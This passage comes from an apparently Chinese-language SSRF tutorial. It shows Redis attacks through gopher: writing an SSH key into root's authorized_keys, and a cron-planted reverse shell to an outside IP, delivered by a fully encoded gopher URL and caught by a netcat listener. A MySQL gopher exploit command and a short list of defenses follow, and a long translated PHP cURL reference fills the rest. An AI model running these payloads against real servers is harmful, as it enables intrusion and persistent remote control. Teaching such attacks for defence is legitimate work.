    flushall set 1 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGd9qrfBQqsml+aGC/PoXsKGFhW3sucZ81fiESpJ+HSk1ILv+mhmU2QNcopiPiTu+kGqJYjIanrQEFbtL+NiWaAHahSO3cgPYXpQ+lW0FQwStEHyDzYOM3Jq6VMy8PSPqkoIBWc7Gsu6541NhdltPGH202M7PfA6fXyPR/BSq30ixoAT1vKKYMp8+8/eyeJzDSr0iSplzhKPkQBYquoiyIs70CTp7HjNwsE2lKf4WV8XpJm7DHSnnnu+1kqJMw0F/3NqhrxYK8KpPzpfQNpkAhKCozhOwH2OdNuypyrXPf3px06utkTp6jvx3ESRfJ89jmuM9y4WozM3dylOwMWjal root@kali ' config set dir /root/.ssh/ config set dbfilename authorized_keys save

    利用contrab計劃任務(wù)反彈shell

    然后在攻擊機上使用ssh免密登錄靶機:

    ssh -i id_rsa root@10.1.8.159

    反彈shell

    set xxx "\n\n* * * * * bash -i>& /dev/tcp/104.168.147.13/6666 0>&1\n\n" config set dir /var/spool/cron config set dbfilename root save

    該命令實現(xiàn)了:創(chuàng)建一個/var/spool/cron目錄下的root用戶的定時任務(wù),每一分鐘執(zhí)行一次反彈shell的命令。

    分別進(jìn)行二次URL編碼,期間替換%0a為%0d%0a,并按照之前的方式構(gòu)造得到:

    http://10.1.8.159/ssrf.php?url=gopher%3a%2f%2f127.0.0.1%3a6379%2f_%25%37%33%25%36%35%25%37%34%25%32%30%25%37%38%25%37%38%25%37%38%25%32%30%25%32%32%25%35%63%25%36%65%25%35%63%25%36%65%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%36%32%25%36%31%25%37%33%25%36%38%25%32%30%25%32%64%25%36%39%25%33%65%25%32%36%25%32%30%25%32%66%25%36%34%25%36%35%25%37%36%25%32%66%25%37%34%25%36%33%25%37%30%25%32%66%25%33%31%25%33%30%25%33%34%25%32%65%25%33%31%25%33%36%25%33%38%25%32%65%25%33%31%25%33%34%25%33%37%25%32%65%25%33%31%25%33%33%25%32%66%25%33%36%25%33%36%25%33%36%25%33%36%25%32%30%25%33%30%25%33%65%25%32%36%25%33%31%25%35%63%25%36%65%25%35%63%25%36%65%25%32%32%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%39%25%37%32%25%32%30%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%33%25%37%30%25%36%66%25%36%66%25%36%63%25%32%66%25%36%33%25%37%32%25%36%66%25%36%65%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%32%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%25%32%30%25%37%32%25%36%66%25%36%66%25%37%34%25%30%64%25%30%61%25%37%33%25%36%31%25%37%36%25%36%35

    直接訪問,成功獲得反彈shell:

    nc -lvp 6666

    4.3.3、Mysql

    MySQL數(shù)據(jù)庫用戶認(rèn)證采用的是挑戰(zhàn)/應(yīng)答的方式,服務(wù)器生成該挑戰(zhàn)數(shù)(scramble)并發(fā)送給客戶端,客戶端用挑戰(zhàn)數(shù)加密密碼后返回相應(yīng)結(jié)果,然后服務(wù)器檢查是否與預(yù)期的結(jié)果相同,從而完成用戶認(rèn)證的過程。

    登錄時需要用服務(wù)器發(fā)來的scramble加密密碼,但是當(dāng)數(shù)據(jù)庫用戶密碼為空時,加密后的密文也為空。client給server發(fā)的認(rèn)證包就是相對固定的了。這樣就無需交互,可以通過gopher協(xié)議來發(fā)送。

    mysql數(shù)據(jù)包前需要加一個四字節(jié)的包頭。前三個字節(jié)代表包的長度,第四個字節(jié)代表包序,在一次完整的請求/響應(yīng)交互過程中,用于保證消息順序的正確,每次客戶端發(fā)起請求時,序號值都會從0開始計算。
    這里是構(gòu)造了gopher來攻擊mysql:
    https://github.com/FoolMitAh/mysql_gopher_attack

    github上有一個gopher攻擊mysql的python腳本,既然我們知道了curl用戶,那么:

    python exploit.py -u curl -d information_schema -p "" -P "select * from flag" -v -c

    參數(shù)說明:

    -u 指定用戶 -d 指定數(shù)據(jù)庫,這里我們可以通過information_schema來獲取所有的數(shù)據(jù)庫 -P 指定sql語句

    抓取的mysql通信數(shù)據(jù)包:

    其實也就得到了數(shù)據(jù)庫:infoemtion_schema、challenges、dwva、test等等。

    4.4、內(nèi)網(wǎng)web應(yīng)用指紋識別

    識別內(nèi)網(wǎng)應(yīng)用使用的框架,平臺,模塊以及cms可以為后續(xù)的攻擊提供很多幫助。大多數(shù)web應(yīng)用框架都有一些獨特的文件和目錄。通過這些文件可以識別出應(yīng)用的類型,甚至詳細(xì)的版本。根據(jù)這些信息就可以針對性的搜集漏洞進(jìn)行攻擊。

    4.5、 攻擊內(nèi)網(wǎng)web應(yīng)用

    僅僅通過get方法可以攻擊的web有很多,比如struts2命令執(zhí)行等。

    四、防御方法

    1,過濾返回信息,驗證遠(yuǎn)程服務(wù)器對請求的響應(yīng)是比較容易的方法。如果web應(yīng)用是去獲取某一種類型的文件。那么在把返回結(jié)果展示給用戶之前先驗證返回的信息是否符合標(biāo)準(zhǔn)。
    2, 統(tǒng)一錯誤信息,避免用戶可以根據(jù)錯誤信息來判斷遠(yuǎn)端服務(wù)器的端口狀態(tài)。
    3,限制請求的端口為http常用的端口,比如,80,443,8080,8090。
    4,白名單內(nèi)網(wǎng)ip。避免應(yīng)用被用來獲取獲取內(nèi)網(wǎng)數(shù)據(jù),攻擊內(nèi)網(wǎng)。
    5,禁用不需要的協(xié)議。僅僅允許http和https請求。可以防止類似于file:///,gopher://,ftp:// 等引起的問題。

    五、PHP CURL 函數(shù)

    參考:https://www.php.net/manual/zh/ref.curl.php

    1、curl_close

    關(guān)閉 cURL 會話

    curl_close(resource $ch): void 關(guān)閉 cURL 會話并且釋放所有資源。cURL 句柄 `ch` 也會被刪除。

    2、curl_copy_handle

    復(fù)制一個cURL句柄和它的所有選項

    curl_copy_handle(resource $ch): resource 復(fù)制一個cURL句柄并保持相同的選項。

    3、curl_errno

    返回最后一次的錯誤代碼

    curl_errno(resource $ch): int 返回最后一次 cURL 操作的錯誤代碼。

    4、curl_error

    返回當(dāng)前會話最后一次錯誤的字符串

    curl_error(resource $ch): string 返回最近一次 cURL 操作的文本錯誤詳情。 返回錯誤信息,或者如果沒有任何錯誤發(fā)生就返回 '' (空字符串)。

    5、curl_escape

    使用 URL 編碼給定的字符串

    curl_escape(resource $ch, string $str): string 該函數(shù)使用 URL 根據(jù)? RFC 3986編碼給定的字符串。 $str 需要編碼的字符串

    6、curl_exec

    執(zhí)行 cURL 會話

    curl_exec(resource $ch): mixed 執(zhí)行給定的 cURL 會話。 這個函數(shù)應(yīng)該在初始化一個 cURL 會話并且全部的選項都被設(shè)置后被調(diào)用。

    成功時返回 true, 或者在失敗時返回 false。 然而,如果 設(shè)置了 CURLOPT_RETURNTRANSFER 選項,函數(shù)執(zhí)行成功時會返回執(zhí)行的結(jié)果,失敗時返回 false 。

    7、curl_file_create

    創(chuàng)建一個 CURLFile 對象

    此函數(shù)是該函數(shù)的別名: CURLFile::__construct()

    8、curl_getinfo

    獲取一個cURL連接資源句柄的信息

    curl_getinfo(resource $ch, int $opt = 0): mixed 獲取最后一次傳輸?shù)南嚓P(guān)信息。 $opt 這個參數(shù)可能是以下常量之一: CURLINFO_EFFECTIVE_URL - 最后一個有效的URL地址 CURLINFO_HTTP_CODE - 最后一個收到的HTTP代碼 CURLINFO_FILETIME - 遠(yuǎn)程獲取文檔的時間,如果無法獲取,則返回值為“-1” CURLINFO_TOTAL_TIME - 最后一次傳輸所消耗的時間 CURLINFO_NAMELOOKUP_TIME - 名稱解析所消耗的時間 CURLINFO_CONNECT_TIME - 建立連接所消耗的時間 CURLINFO_PRETRANSFER_TIME - 從建立連接到準(zhǔn)備傳輸所使用的時間 CURLINFO_STARTTRANSFER_TIME - 從建立連接到傳輸開始所使用的時間 CURLINFO_REDIRECT_TIME - 在事務(wù)傳輸開始前重定向所使用的時間 CURLINFO_SIZE_UPLOAD - 以字節(jié)為單位返回上傳數(shù)據(jù)量的總值 CURLINFO_SIZE_DOWNLOAD - 以字節(jié)為單位返回下載數(shù)據(jù)量的總值 CURLINFO_SPEED_DOWNLOAD - 平均下載速度 CURLINFO_SPEED_UPLOAD - 平均上傳速度 CURLINFO_HEADER_SIZE - header部分的大小 CURLINFO_HEADER_OUT - 發(fā)送請求的字符串 CURLINFO_REQUEST_SIZE - 在HTTP請求中有問題的請求的大小 CURLINFO_SSL_VERIFYRESULT - 通過設(shè)置CURLOPT_SSL_VERIFYPEER返回的SSL證書驗證請求的結(jié)果 CURLINFO_CONTENT_LENGTH_DOWNLOAD - 從Content-Length: field中讀取的下載內(nèi)容長度 CURLINFO_CONTENT_LENGTH_UPLOAD - 上傳內(nèi)容大小的說明 CURLINFO_CONTENT_TYPE - 下載內(nèi)容的Content-Type:值,NULL表示服務(wù)器沒有發(fā)送有效的Content-Type: header

    返回值

    如果 opt 被設(shè)置,以字符串形式返回它的值。否則,返回返回一個包含下列元素的關(guān)聯(lián)數(shù)組(它們分別對應(yīng)于 opt):

    "url" "content_type" "http_code" "header_size" "request_size" "filetime" "ssl_verify_result" "redirect_count" "total_time" "namelookup_time" "connect_time" "pretransfer_time" "size_upload" "size_download" "speed_download" "speed_upload" "download_content_length" "upload_content_length" "starttransfer_time" "redirect_time"

    9、curl_init

    初始化 cURL 會話

    curl_init(string $url = null): resource 初始化新的會話,返回 cURL 句柄,供curl_setopt()、 curl_exec() 和 curl_close() 函數(shù)使用。

    如果提供了該參數(shù),CURLOPT_URL 選項將會被設(shè)置成這個值。你也可以使用curl_setopt()函數(shù)手動地設(shè)置這個值。

    10、curl_pause

    暫停和取消暫停一個連接。

    curl_pause(resource $ch, int $bitmask): int bitmask: CURLPAUSE_* 常量之一。 返回一個錯誤代碼 (如果沒有錯誤則返回CURLE_OK常量)。

    11、curl_reset

    重置一個 libcurl 會話句柄的所有的選項

    curl_reset(resource $ch): void 該函數(shù)將給定的 cURL 句柄所有選項重新設(shè)置為默認(rèn)值。

    12、curl_setopt_array

    為 cURL 傳輸會話批量設(shè)置選項

    curl_setopt_array(resource $ch, array $options): bool 為 cURL 傳輸會話批量設(shè)置選項。這個函數(shù)對于需要設(shè)置大量的 cURL 選項是非常有用的,不需要重復(fù)地調(diào)用 curl_setopt()。 options:一個 array 用來確定將被設(shè)置的選項及其值。數(shù)組的鍵值必須是一個有效的curl_setopt()常量或者是它們對等的整數(shù)值。如果全部的選項都被成功設(shè)置,返回true。如果一個選項不能被成功設(shè)置,馬上返回false,忽略其后的任何在options數(shù)組中的選項。

    13、curl_setopt

    設(shè)置 cURL 傳輸選項

    curl_setopt(resource $ch, int $option, mixed $value): bool 為 cURL 會話句柄設(shè)置選項。 option:需要設(shè)置的CURLOPT_XXX選項。 value:將設(shè)置在option選項上的值。

    以下 option 參數(shù)的 value應(yīng)該被設(shè)置成 bool 類型:

    選項將 value 設(shè)置為備注
    CURLOPT_AUTOREFERERtrue 時將根據(jù) Location: 重定向時,自動設(shè)置 header 中的Referer:信息。
    CURLOPT_BINARYTRANSFER設(shè)為 true ,將在啟用 CURLOPT_RETURNTRANSFER 時,返回原生的(Raw)輸出。從 PHP 5.1.3 開始,此選項不再有效果:使用 CURLOPT_RETURNTRANSFER 后總是會返回原生的(Raw)內(nèi)容。
    CURLOPT_COOKIESESSION設(shè)為 true 時將開啟新的一次 cookie 會話。它將強制 libcurl 忽略之前會話時存的其他 cookie。 libcurl 在默認(rèn)狀況下無論是否為會話,都會儲存、加載所有 cookie。會話 cookie 是指沒有過期時間,只存活在會話之中。
    CURLOPT_CERTINFOtrue 將在安全傳輸時輸出 SSL 證書信息到 STDERR。在 cURL 7.19.1 中添加。 PHP 5.3.2 后有效。 需要開啟 CURLOPT_VERBOSE 才有效。
    CURLOPT_CONNECT_ONLYtrue 將讓庫執(zhí)行所有需要的代理、驗證、連接過程,但不傳輸數(shù)據(jù)。此選項用于 HTTP、SMTP 和 POP3。在 7.15.2 中添加。 PHP 5.5.0 起有效。
    CURLOPT_CRLF啟用時將Unix的換行符轉(zhuǎn)換成回車換行符。
    CURLOPT_DNS_USE_GLOBAL_CACHEtrue 會啟用一個全局的DNS緩存。此選項非線程安全的,默認(rèn)已開啟。
    CURLOPT_FAILONERROR當(dāng) HTTP 狀態(tài)碼大于等于 400,true 將將顯示錯誤詳情。 默認(rèn)情況下將返回頁面,忽略 HTTP 代碼。
    CURLOPT_SSL_FALSESTARTtrue 開啟 TLS False Start (一種 TLS 握手優(yōu)化方式)cURL 7.42.0 中添加。自 PHP 7.0.7 起有效。
    CURLOPT_FILETIMEtrue 時,會嘗試獲取遠(yuǎn)程文檔中的修改時間信息。 信息可通過curl_getinfo()函數(shù)的CURLINFO_FILETIME 選項獲取。
    CURLOPT_FOLLOWLOCATIONtrue 時將會根據(jù)服務(wù)器返回 HTTP 頭中的 "Location: " 重定向。(注意:這是遞歸的,"Location: " 發(fā)送幾次就重定向幾次,除非設(shè)置了 CURLOPT_MAXREDIRS,限制最大重定向次數(shù)。)。
    CURLOPT_FORBID_REUSEtrue 在完成交互以后強制明確的斷開連接,不能在連接池中重用。
    CURLOPT_FRESH_CONNECTtrue 強制獲取一個新的連接,而不是緩存中的連接。
    CURLOPT_FTP_USE_EPRTtrue 時,當(dāng) FTP 下載時,使用 EPRT (和 LPRT)命令。 設(shè)置為 false 時禁用 EPRT 和 LPRT,僅僅使用PORT 命令。
    CURLOPT_FTP_USE_EPSVtrue 時,在FTP傳輸過程中,回到 PASV 模式前,先嘗試 EPSV 命令。設(shè)置為 false 時禁用 EPSV。
    CURLOPT_FTP_CREATE_MISSING_DIRStrue 時,當(dāng) ftp 操作不存在的目錄時將創(chuàng)建它。
    CURLOPT_FTPAPPENDtrue 為追加寫入文件,而不是覆蓋。
    CURLOPT_TCP_NODELAYtrue 時禁用 TCP 的 Nagle 算法,就是減少網(wǎng)絡(luò)上的小包數(shù)量。PHP 5.2.1 有效,編譯時需要 libcurl 7.11.2 及以上。
    CURLOPT_FTPASCIICURLOPT_TRANSFERTEXT 的別名。
    CURLOPT_FTPLISTONLYtrue 時只列出 FTP 目錄的名字。
    CURLOPT_HEADER啟用時會將頭文件的信息作為數(shù)據(jù)流輸出。
    CURLINFO_HEADER_OUTtrue 時追蹤句柄的請求字符串。從 PHP 5.1.3 開始可用。CURLINFO_ 的前綴是有意的(intentional)。
    CURLOPT_HTTPGETtrue 時會設(shè)置 HTTP 的 method 為 GET,由于默認(rèn)是 GET,所以只有 method 被修改時才需要這個選項。
    CURLOPT_HTTPPROXYTUNNELtrue 會通過指定的 HTTP 代理來傳輸。
    CURLOPT_MUTEtrue 時將完全靜默,無論是何 cURL 函數(shù)。在 cURL 7.15.5 中移出(可以使用 CURLOPT_RETURNTRANSFER 作為代替)
    CURLOPT_NETRCtrue 時,在連接建立時,訪問~/.netrc文件獲取用戶名和密碼來連接遠(yuǎn)程站點。
    CURLOPT_NOBODYtrue 時將不輸出 BODY 部分。同時 Mehtod 變成了 HEAD。修改為 false 時不會變成 GET。
    CURLOPT_NOPROGRESStrue 時關(guān)閉 cURL 的傳輸進(jìn)度。 注意: PHP 默認(rèn)自動設(shè)置此選項為 true,只有為了調(diào)試才需要改變設(shè)置。
    CURLOPT_NOSIGNALtrue 時忽略所有的 cURL 傳遞給 PHP 進(jìn)行的信號。在 SAPI 多線程傳輸時此項被默認(rèn)啟用,所以超時選項仍能使用。cURL 7.10時被加入。
    CURLOPT_PATH_AS_IStrue 不處理 dot dot sequences (即 …/ )cURL 7.42.0 時被加入。 PHP 7.0.7 起有效。
    CURLOPT_PIPEWAITtrue 則等待 pipelining/multiplexing。cURL 7.43.0 時被加入。 PHP 7.0.7 起有效。
    CURLOPT_POSTtrue 時會發(fā)送 POST 請求,類型為:application/x-www-form-urlencoded,是 HTML 表單提交時最常見的一種。
    CURLOPT_PUTtrue 時允許 HTTP 發(fā)送文件。要被 PUT 的文件必須在 CURLOPT_INFILECURLOPT_INFILESIZE 中設(shè)置。
    CURLOPT_RETURNTRANSFERtrue 將curl_exec()獲取的信息以字符串返回,而不是直接輸出。
    CURLOPT_SAFE_UPLOADtrue 禁用 @ 前綴在 CURLOPT_POSTFIELDS 中發(fā)送文件。 意味著 @ 可以在字段中安全得使用了。 可使用 CURLFile 作為上傳的代替。PHP 5.5.0 中添加,默認(rèn)值 false。 PHP 5.6.0 改默認(rèn)值為 true。. PHP 7 刪除了此選項, 必須使用 CURLFile interface 來上傳文件。
    CURLOPT_SASL_IRtrue 開啟,收到首包(first packet)后發(fā)送初始的響應(yīng)(initial response)。cURL 7.31.10 中添加,自 PHP 7.0.7 起有效。
    CURLOPT_SSL_ENABLE_ALPNfalse 禁用 SSL 握手中的 ALPN (如果 SSL 后端的 libcurl 內(nèi)建支持) 用于協(xié)商到 http2。cURL 7.36.0 中增加, PHP 7.0.7 起有效。
    CURLOPT_SSL_ENABLE_NPNfalse 禁用 SSL 握手中的 NPN(如果 SSL 后端的 libcurl 內(nèi)建支持),用于協(xié)商到 http2。cURL 7.36.0 中增加, PHP 7.0.7 起有效。
    CURLOPT_SSL_VERIFYPEERfalse 禁止 cURL 驗證對等證書(peer’s certificate)。要驗證的交換證書可以在 CURLOPT_CAINFO 選項中設(shè)置,或在 **CURLOPT_CAPATH**中設(shè)置證書目錄。自cURL 7.10開始默認(rèn)為 true。從 cURL 7.10開始默認(rèn)綁定安裝。
    CURLOPT_SSL_VERIFYSTATUStrue 驗證證書狀態(tài)。cURL 7.41.0 中添加, PHP 7.0.7 起有效。
    CURLOPT_TCP_FASTOPENtrue 開啟 TCP Fast Open。cURL 7.49.0 中添加, PHP 7.0.7 起有效。
    CURLOPT_TFTP_NO_OPTIONStrue 不發(fā)送 TFTP 的 options 請求。自 cURL 7.48.0 添加, PHP 7.0.7 起有效。
    CURLOPT_TRANSFERTEXTtrue 對 FTP 傳輸使用 ASCII 模式。對于LDAP,它檢索純文本信息而非 HTML。在 Windows 系統(tǒng)上,系統(tǒng)不會把 STDOUT 設(shè)置成二進(jìn)制 模式。
    CURLOPT_UNRESTRICTED_AUTHtrue 在使用**CURLOPT_FOLLOWLOCATION**重定向 header 中的多個 location 時繼續(xù)發(fā)送用戶名和密碼信息,哪怕主機名已改變。
    CURLOPT_UPLOADtrue 準(zhǔn)備上傳。
    CURLOPT_VERBOSEtrue 會輸出所有的信息,寫入到STDERR,或在**CURLOPT_STDERR**中指定的文件。

    ? 以下 option的value應(yīng)該被設(shè)置成 integer:

    選項設(shè)置value為備注
    CURLOPT_BUFFERSIZE每次讀入的緩沖的尺寸。當(dāng)然不保證每次都會完全填滿這個尺寸。在cURL 7.10中被加入。
    CURLOPT_CLOSEPOLICYCURLCLOSEPOLICY_\* 中的一個。 注意: 此選項已被廢棄,它不會被實現(xiàn),永遠(yuǎn)不會有效果啦。PHP 5.6.0 中移除。
    CURLOPT_CONNECTTIMEOUT在嘗試連接時等待的秒數(shù)。設(shè)置為0,則無限等待。
    CURLOPT_CONNECTTIMEOUT_MS嘗試連接等待的時間,以毫秒為單位。設(shè)置為0,則無限等待。 如果 libcurl 編譯時使用系統(tǒng)標(biāo)準(zhǔn)的名稱解析器( standard system name resolver),那部分的連接仍舊使用以秒計的超時解決方案,最小超時時間還是一秒鐘。在 cURL 7.16.2 中被加入。從 PHP 5.2.3 開始可用。
    CURLOPT_DNS_CACHE_TIMEOUT設(shè)置在內(nèi)存中緩存 DNS 的時間,默認(rèn)為120秒(兩分鐘)。
    CURLOPT_EXPECT_100_TIMEOUT_MS超時預(yù)計: 100毫秒內(nèi)的 continue 響應(yīng) 默認(rèn)為 1000 毫秒。cURL 7.36.0 中添加,自 PHP 7.0.7 有效。
    CURLOPT_FTPSSLAUTHFTP驗證方式(啟用的時候):CURLFTPAUTH_SSL (首先嘗試SSL),CURLFTPAUTH_TLS (首先嘗試TLS)或CURLFTPAUTH_DEFAULT (讓cURL 自個兒決定)。在 cURL 7.12.2 中被加入。
    CURLOPT_HEADEROPTHow to deal with headers. One of the following constants: CURLHEADER_UNIFIED: the headers specified in CURLOPT_HTTPHEADER will be used in requests both to servers and proxies. With this option enabled, CURLOPT_PROXYHEADER will not have any effect. CURLHEADER_SEPARATE: makes CURLOPT_HTTPHEADER headers only get sent to a server and not to a proxy. Proxy headers must be set with CURLOPT_PROXYHEADER to get used. Note that if a non-CONNECT request is sent to a proxy, libcurl will send both server headers and proxy headers. When doing CONNECT, libcurl will send CURLOPT_PROXYHEADER headers only to the proxy and then CURLOPT_HTTPHEADER headers only to the server. Defaults to CURLHEADER_SEPARATE as of cURL 7.42.1, and CURLHEADER_UNIFIED before.Added in cURL 7.37.0. Available since PHP 7.0.7.
    CURLOPT_HTTP_VERSIONCURL_HTTP_VERSION_NONE (默認(rèn)值,讓 cURL 自己判斷使用哪個版本),CURL_HTTP_VERSION_1_0 (強制使用 HTTP/1.0)或CURL_HTTP_VERSION_1_1 (強制使用 HTTP/1.1)。
    CURLOPT_HTTPAUTH使用的 HTTP 驗證方法。選項有: CURLAUTH_BASIC、 CURLAUTH_DIGEST、 CURLAUTH_GSSNEGOTIATE、 CURLAUTH_NTLM、 CURLAUTH_ANY和 CURLAUTH_ANYSAFE。 可以使用 | 位域(OR)操作符結(jié)合多個值,cURL 會讓服務(wù)器選擇受支持的方法,并選擇最好的那個。 CURLAUTH_ANY是 CURLAUTH_BASIC | CURLAUTH_DIGEST | CURLAUTH_GSSNEGOTIATE | CURLAUTH_NTLM 的別名。 CURLAUTH_ANYSAFE 是 CURLAUTH_DIGEST | CURLAUTH_GSSNEGOTIATE | CURLAUTH_NTLM 的別名。
    CURLOPT_INFILESIZE希望傳給遠(yuǎn)程站點的文件尺寸,字節(jié)(byte)為單位。 注意無法用這個選項阻止 libcurl 發(fā)送更多的數(shù)據(jù),確切發(fā)送什么取決于 CURLOPT_READFUNCTION
    CURLOPT_LOW_SPEED_LIMIT傳輸速度,每秒字節(jié)(bytes)數(shù),根據(jù)**CURLOPT_LOW_SPEED_TIME**秒數(shù)統(tǒng)計是否因太慢而取消傳輸。
    CURLOPT_LOW_SPEED_TIME當(dāng)傳輸速度小于**CURLOPT_LOW_SPEED_LIMIT**時(bytes/sec),PHP會判斷是否因太慢而取消傳輸。
    CURLOPT_MAXCONNECTS允許的最大連接數(shù)量。達(dá)到限制時,會通過**CURLOPT_CLOSEPOLICY**決定應(yīng)該關(guān)閉哪些連接。
    CURLOPT_MAXREDIRS指定最多的 HTTP 重定向次數(shù),這個選項是和**CURLOPT_FOLLOWLOCATION**一起使用的。
    CURLOPT_PORT用來指定連接端口。
    CURLOPT_POSTREDIR位掩碼, 1 (301 永久重定向), 2 (302 Found) 和 4 (303 See Other) 設(shè)置 CURLOPT_FOLLOWLOCATION 時,什么情況下需要再次 HTTP POST 到重定向網(wǎng)址。cURL 7.19.1 中添加,PHP 5.3.2 開始可用。
    CURLOPT_PROTOCOLSCURLPROTO_\*的位掩碼。 啟用時,會限制 libcurl 在傳輸過程中可使用哪些協(xié)議。 這將允許你在編譯libcurl時支持眾多協(xié)議,但是限制只用允許的子集。默認(rèn) libcurl 將使用所有支持的協(xié)議。 參見CURLOPT_REDIR_PROTOCOLS。 可用的協(xié)議選項為: CURLPROTO_HTTP、 CURLPROTO_HTTPS、 CURLPROTO_FTP、 CURLPROTO_FTPS、 CURLPROTO_SCP、 CURLPROTO_SFTP、 CURLPROTO_TELNET、 CURLPROTO_LDAP、 CURLPROTO_LDAPS、 CURLPROTO_DICT、 CURLPROTO_FILE、 CURLPROTO_TFTP、 CURLPROTO_ALL。在 cURL 7.19.4 中被加入。
    CURLOPT_PROXYAUTHHTTP 代理連接的驗證方式。使用在**CURLOPT_HTTPAUTH**中的位掩碼。 當(dāng)前僅僅支持 CURLAUTH_BASIC和CURLAUTH_NTLM。在 cURL 7.10.7 中被加入。
    CURLOPT_PROXYPORT代理服務(wù)器的端口。端口也可以在**CURLOPT_PROXY**中設(shè)置。
    CURLOPT_PROXYTYPE可以是 CURLPROXY_HTTP (默認(rèn)值) CURLPROXY_SOCKS4CURLPROXY_SOCKS5CURLPROXY_SOCKS4ACURLPROXY_SOCKS5_HOSTNAME在 cURL 7.10 中被加入。
    CURLOPT_REDIR_PROTOCOLSCURLPROTO_\* 值的位掩碼。如果被啟用,位掩碼會限制 libcurl 在 CURLOPT_FOLLOWLOCATION開啟時,使用的協(xié)議。 默認(rèn)允許除 FILE 和 SCP 外所有協(xié)議。 這和 7.19.4 前的版本無條件支持所有支持的協(xié)議不同。關(guān)于協(xié)議常量,請參照CURLOPT_PROTOCOLS在 cURL 7.19.4 中被加入。
    CURLOPT_RESUME_FROM在恢復(fù)傳輸時,傳遞字節(jié)為單位的偏移量(用來斷點續(xù)傳)。
    CURLOPT_SSL_OPTIONSSet SSL behavior options, which is a bitmask of any of the following constants: CURLSSLOPT_ALLOW_BEAST: do not attempt to use any workarounds for a security flaw in the SSL3 and TLS1.0 protocols. CURLSSLOPT_NO_REVOKE: disable certificate revocation checks for those SSL backends where such behavior is present.Added in cURL 7.25.0. Available since PHP 7.0.7.
    CURLOPT_SSL_VERIFYHOST設(shè)置為 1 是檢查服務(wù)器SSL證書中是否存在一個公用名(common name)。譯者注:公用名(Common Name)一般來講就是填寫你將要申請SSL證書的域名 (domain)或子域名(sub domain)。 設(shè)置成 2,會檢查公用名是否存在,并且是否與提供的主機名匹配。 0 為不檢查名稱。 在生產(chǎn)環(huán)境中,這個值應(yīng)該是 2(默認(rèn)值)。值 1 的支持在 cURL 7.28.1 中被刪除了。
    CURLOPT_SSLVERSIONCURL_SSLVERSION_DEFAULT (0), CURL_SSLVERSION_TLSv1 (1), CURL_SSLVERSION_SSLv2 (2), CURL_SSLVERSION_SSLv3 (3), CURL_SSLVERSION_TLSv1_0 (4), CURL_SSLVERSION_TLSv1_1 (5) , CURL_SSLVERSION_TLSv1_2 (6) 中的其中一個。 注意: 你最好別設(shè)置這個值,讓它使用默認(rèn)值。 設(shè)置為 2 或 3 比較危險,在 SSLv2 和 SSLv3 中有弱點存在。
    CURLOPT_STREAM_WEIGHT設(shè)置 stream weight 數(shù)值 ( 1 和 256 之間的數(shù)字).cURL 7.46.0 中添加,自 PHP 7.0.7 起有效。
    CURLOPT_TIMECONDITION設(shè)置如何對待 CURLOPT_TIMEVALUE。 使用 CURL_TIMECOND_IFMODSINCE,僅在頁面 CURLOPT_TIMEVALUE 之后修改,才返回頁面。沒有修改則返回 "304 Not Modified" 頭,假設(shè)設(shè)置了 CURLOPT_HEADERtrue。CURL_TIMECOND_IFUNMODSINCE則起相反的效果。 默認(rèn)為 CURL_TIMECOND_IFMODSINCE。
    CURLOPT_TIMEOUT允許 cURL 函數(shù)執(zhí)行的最長秒數(shù)。
    CURLOPT_TIMEOUT_MS設(shè)置cURL允許執(zhí)行的最長毫秒數(shù)。 如果 libcurl 編譯時使用系統(tǒng)標(biāo)準(zhǔn)的名稱解析器( standard system name resolver),那部分的連接仍舊使用以秒計的超時解決方案,最小超時時間還是一秒鐘。在 cURL 7.16.2 中被加入。從 PHP 5.2.3 起可使用。
    CURLOPT_TIMEVALUE秒數(shù),從 1970年1月1日開始。這個時間會被 **CURLOPT_TIMECONDITION**使。默認(rèn)使用CURL_TIMECOND_IFMODSINCE。
    CURLOPT_MAX_RECV_SPEED_LARGE如果下載速度超過了此速度(以每秒字節(jié)數(shù)來統(tǒng)計) ,即傳輸過程中累計的平均數(shù),傳輸就會降速到這個參數(shù)的值。默認(rèn)不限速。cURL 7.15.5 中添加, PHP 5.4.0 有效。
    CURLOPT_MAX_SEND_SPEED_LARGE如果上傳的速度超過了此速度(以每秒字節(jié)數(shù)來統(tǒng)計),即傳輸過程中累計的平均數(shù) ,傳輸就會降速到這個參數(shù)的值。默認(rèn)不限速。cURL 7.15.5 中添加, PHP 5.4.0 有效。
    CURLOPT_SSH_AUTH_TYPESA bitmask consisting of one or more of CURLSSH_AUTH_PUBLICKEY, CURLSSH_AUTH_PASSWORD, CURLSSH_AUTH_HOST, CURLSSH_AUTH_KEYBOARD. Set to CURLSSH_AUTH_ANY to let libcurl pick one.cURL 7.16.1 中添加。
    CURLOPT_IPRESOLVE允許程序選擇想要解析的 IP 地址類別。只有在地址有多種 ip 類別的時候才能用,可以的值有: CURL_IPRESOLVE_WHATEVERCURL_IPRESOLVE_V4CURL_IPRESOLVE_V6,默認(rèn)是 CURL_IPRESOLVE_WHATEVERcURL 7.10.8 中添加。
    CURLOPT_FTP_FILEMETHOD告訴 curl 使用哪種方式來獲取 FTP(s) 服務(wù)器上的文件。可能的值有: CURLFTPMETHOD_MULTICWDCURLFTPMETHOD_NOCWDCURLFTPMETHOD_SINGLECWDcURL 7.15.1 中添加, PHP 5.3.0 起有效。

    ? 對于下面的這些option,value應(yīng)該被設(shè)置成 string:

    選項設(shè)置的value備注
    CURLOPT_CAINFO一個保存著1個或多個用來讓服務(wù)端驗證的證書的文件名。這個參數(shù)僅僅在和**CURLOPT_SSL_VERIFYPEER**一起使用時才有意義。 .可能需要絕對路徑。
    CURLOPT_CAPATH一個保存著多個CA證書的目錄。這個選項是和**CURLOPT_SSL_VERIFYPEER**一起使用的。
    CURLOPT_COOKIE設(shè)定 HTTP 請求中"Cookie: "部分的內(nèi)容。多個 cookie 用分號分隔,分號后帶一個空格(例如, “fruit=apple; colour=red”)。
